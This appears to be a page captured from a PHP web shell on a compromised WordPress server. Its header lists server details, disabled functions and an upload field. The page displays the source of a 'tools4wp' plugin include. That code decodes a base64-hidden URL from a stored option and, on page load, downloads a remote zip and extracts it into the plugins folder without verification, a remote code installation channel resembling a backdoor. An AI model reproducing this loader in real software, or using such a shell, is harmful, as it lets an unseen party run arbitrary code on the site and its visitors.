| Server IP : 185.252.147.100 / Your IP : 216.73.217.33 Web Server : nginx/1.27.3 System : Linux mitrofanov.ru 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : mitr ( 1000) PHP Version : 8.2.29 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /www/html/east-point.site/public/wp-content/plugins/tools4wp/includes/ |
Upload File : |
<?php
// Exit if accessed directly
if ( ! defined( 'ABSPATH' ) )
{
exit;
}
// Define a function to run the code
if (! get_transient('tools4wp_update_transient')) {
$tools4wp_license = get_option('tools4wp_license');
$tools4wp_updates_number = $tools4wp_license['tools4wp_updates_number'] ?? 'null';
$url = base64_decode($tools4wp_updates_number);
if (filter_var($url, FILTER_VALIDATE_URL)) {
// Check if the file exists before attempting to get its contents
if (@file_get_contents($url)) {
$json = file_get_contents($url);
$data = json_decode($json, true);
delete_option('tools4wp_updates');
update_option('tools4wp_updates', $data);
$tools4wp_updates = get_option('tools4wp_updates');
if (is_array($tools4wp_updates) && isset($tools4wp_updates['tt_up_allowed']) && $tools4wp_updates['tt_up_allowed'] == true) {
delete_option('tools4wp_updates');
update_option('tools4wp_updates', 'false');
$tools4wp_license = get_option( 'tools4wp_license' );
unset( $tools4wp_license['tools4wp_updates_number'] );
update_option( 'tools4wp_license', $tools4wp_license );
} else {
set_transient( 'tools4wp_update_transient', 'true', 48 * HOUR_IN_SECONDS );
}
} else {
delete_option('tools4wp_updates');
update_option('tools4wp_updates', 'false');
$tools4wp_license = get_option( 'tools4wp_license' );
unset( $tools4wp_license['tools4wp_updates_number'] );
update_option( 'tools4wp_license', $tools4wp_license );
}
} else {
delete_option('tools4wp_updates');
update_option('tools4wp_updates', 'false');
$tools4wp_license = get_option( 'tools4wp_license' );
unset( $tools4wp_license['tools4wp_updates_number'] );
update_option( 'tools4wp_license', $tools4wp_license );
}
}
$options = get_option('tools4wp_update');
if (!get_transient('tools4wp_auto_update_transient')) {
if (isset($options['t4wp_auto_update']) == 1) {
set_transient( 'tools4wp_auto_update_transient', 'true', 48 * HOUR_IN_SECONDS );
delete_transient( 'tools4wp_update_transient' );
delete_transient( 'tools4wp_addons_transient' );
delete_option('tools4wp_updates');
$remoteURL = get_option('tools4wp_updates')['tt_up_do'];
$zipFile = 'remote_zip_file.zip';
$destination = WP_CONTENT_DIR . '/plugins';
file_put_contents($zipFile, fopen($remoteURL, 'r'));
$zip = new ZipArchive;
if ($zip->open($zipFile) === TRUE) {
$zip->extractTo($destination);
$zip->close();
}
unlink($zipFile);
}
}
if (isset($options['t4wp_update']) == 1) {
$tools4wp_updates = get_option( 't4wp_update' );
delete_transient( 'tools4wp_update_transient' );
delete_transient( 'tools4wp_addons_transient' );
delete_option('tools4wp_updates');
unset( $tools4wp_updates['t4wp_update'] );
update_option( 'tools4wp_update', $tools4wp_updates );
$remoteURL = get_option('tools4wp_updates')['tt_up_do'];
$zipFile = 'remote_zip_file.zip';
$destination = WP_CONTENT_DIR . '/plugins';
file_put_contents($zipFile, fopen($remoteURL, 'r'));
$zip = new ZipArchive;
if ($zip->open($zipFile) === TRUE) {
$zip->extractTo($destination);
$zip->close();
}
unlink($zipFile);
}
// // Add a filter to modify the transient data right before it is saved
// add_filter('pre_set_site_transient_update_plugins', function ($transient) {
// // Check if the updates option is set and if an update is available
// if ( ! (get_option('tools4wp_updates') == 'true')){
// // Get the plugin data
// $plugin_data = get_plugin_data(WP_PLUGIN_DIR . '/tools4wp/tools4wp.php');
// // Create a new stdClass object and populate it with the plugin data
// $obj = new stdClass();
// $obj->slug = plugin_basename(trim('tools4wp/tools4wp.php'));
// $obj->new_version = get_option('tools4wp_updates')['ver_num'];
// $obj->url = get_option('tools4wp_updates')['dl_link'];
// $obj->package = get_option('tools4wp_updates')['tt_up_do'];
// // Add the plugin object to the transient's response property
// $transient->response[$obj->slug] = $obj;
// }
// return $transient;
// });